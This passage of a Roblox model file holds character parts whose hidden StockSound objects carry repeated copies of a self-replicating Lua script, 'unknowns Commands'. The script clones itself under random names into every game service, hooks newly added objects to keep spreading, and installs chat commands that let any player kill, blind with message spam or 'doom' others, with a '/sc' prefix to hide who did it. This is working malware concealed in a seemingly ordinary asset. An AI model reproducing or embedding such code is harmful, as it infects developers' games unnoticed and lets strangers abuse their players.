talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX33">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">119</int>
					<CoordinateFrame name="CFrame">
						<X>2.5</X>
						<Y>1.29890823</Y>
						<Z>107.5</Z>
						<R00>-1</R00>
						<R01>-3.96310834e-021</R01>
						<R02>-3.01117346e-022</R02>
						<R10>-3.96310834e-021</R10>
						<R11>1</R11>
						<R12>5.68789786e-021</R12>
						<R20>3.01117346e-022</R20>
						<R21>5.68789786e-021</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Left Leg</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX34">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">uy06yk3</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX35">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">91hgng</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Part" referent="RBX36">
				<Properties>
					<bool name="Anchored">false</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">119</int>
					<CoordinateFrame name="CFrame">
						<X>1.5</X>
						<Y>1.29890823</Y>
						<Z>107.5</Z>
						<R00>-1</R00>
						<R01>-3.96310834e-021</R01>
						<R02>-3.01117346e-022</R02>
						<R10>-3.96310834e-021</R10>
						<R11>1</R11>
						<R12>5.68789786e-021</R12>
						<R20>3.01117346e-022</R20>
						<R21>5.68789786e-021</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">false</bool>
					<token name="Controller">0</token>
					<bool name="ControllerFlagShown">true</bool>
					<bool name="DraggingV1">false</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">0</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">true</bool>
					<token name="Material">256</token>
					<string name="Name">Right Leg</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">3</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<bool name="archivable">true</bool>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>1</X>
						<Y>2</Y>
						<Z>1</Z>
					</Vector3>
				</Properties>
				<Item class="StockSound" referent="RBX37">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">h8gnkeh</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX38">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">115a</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
